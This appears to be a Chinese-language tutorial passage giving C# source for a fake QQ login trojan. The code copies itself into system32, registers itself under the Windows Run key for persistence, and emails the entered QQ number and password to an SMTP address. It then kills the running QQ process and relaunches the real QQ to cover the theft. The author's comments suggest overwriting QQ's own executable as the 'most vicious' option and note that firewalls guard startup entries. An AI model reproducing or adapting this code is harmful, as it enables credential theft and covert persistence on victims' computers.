这里我们先申明两个全局变量:
//QQ的路径,PS:这里的路径是随便写的后面我们会到注册表里去找QQ的实际地址的
string QQPath = @"C:\\Program Files\\Tencent\\QQ";
//注册表
RegistryKey HKLM = Registry.LocalMachine;
private void Form1_Load(object sender, EventArgs e)
{
/*复制数量*/
const int TOTAL = 1;
int _count = TOTAL;
// 正在运行的程序路径和文件名
string _file = Application.ExecutablePath;
// 正在运行的程序路径
//string _path = Application.StartupPath;
//复制路径
string _path = "C:\\WINDOWS\\system32";
// 正在运行的程序文件名
string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower();
try
{
_count = int.Parse(_name.Replace(".exe", string.Empty));
_count--;
}
catch
{
}
finally
{
}
// 目标文件
string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000"));
if ((File.Exists(_file)) && (_count > 0))
{
try
{
// 复制
FileStream _fileStream = File.Open(_file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
byte[] _buffer = new byte[_fileStream.Length];
_fileStream.Read(_buffer, 0, _buffer.Length);
_fileStream.Close();
// 如果目标已存在,删除
if (File.Exists(_target))
{
File.Delete(_target);
}
// 粘贴
FileStream _writer = File.Open(_target, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);
_writer.Write(_buffer, 0, _buffer.Length);
_writer.Close();
}
catch
{
}
//开机自动运行
RegistryKey Run = HKLM.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
bool Started = true;
if (Started == true)
{
try
{
Run.SetValue("VirTest", _target);
HKLM.Close();
}
catch
{
}
}
else
{
try
{
Run.DeleteValue("VirTest");
HKLM.Close();
}
catch
{
//
}
}
}
}
在这里我们把我们的程序复制到了 C:\\WINDOWS\\system32这样更象个木马,并设定了开机自动开启,但是有一点要注意的是现在几乎所有的防火墙都会保护启动项的所以这样是过不了防火墙的.当然最毒的办法就是直接覆盖QQ的原来的那个文件(呵呵)./// <summary>
/// 登陆
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void Login_Click(object sender, EventArgs e)
{
//发送结果
try
{
MailMessage mail = new MailMessage();
mail.From = new MailAddress("", "");
mail.To.Add(new MailAddress(""));
mail.Body = "QQ号码:" + UserIdbox.Text + "\r\n" + "密码:" + PASSword.Text;
mail.Subject = "QQ密码";
SmtpClient SmtpMail = new SmtpClient("");
SmtpMail.UseDefaultCredentials = false;
SmtpMail.Timeout = 20000;
SmtpMail.Send(mail);
}
catch { }
//搜索注册表
try
{
RegistryKey SearhPath = HKLM.OpenSubKey(@"SOFTWARE\Tencent\QQ");
QQPath = SearhPath.GetValue("Install").ToString();
}
catch { Application.Exit(); }
//关闭已经打开的qq,重新开启qq
string name = "QQ";//程序进程名称
Process[] prc = Process.GetProcesses();
foreach (Process pr in prc) //遍历整个进程
{
if (name == pr.ProcessName) //如果进程存在
{
try
{
pr.Kill();
}
catch { }
}
}
try
{
//调用QQ
Process MyProcess = new Process();
MyProcess.StartInfo.FileName = QQPath + "QQ.exe";
MyProcess.StartInfo.Verb = "Open";
MyProcess.StartInfo.CreateNoWindow = true;
MyProcess.Start();
}
catch
{
}
Application.Exit();
}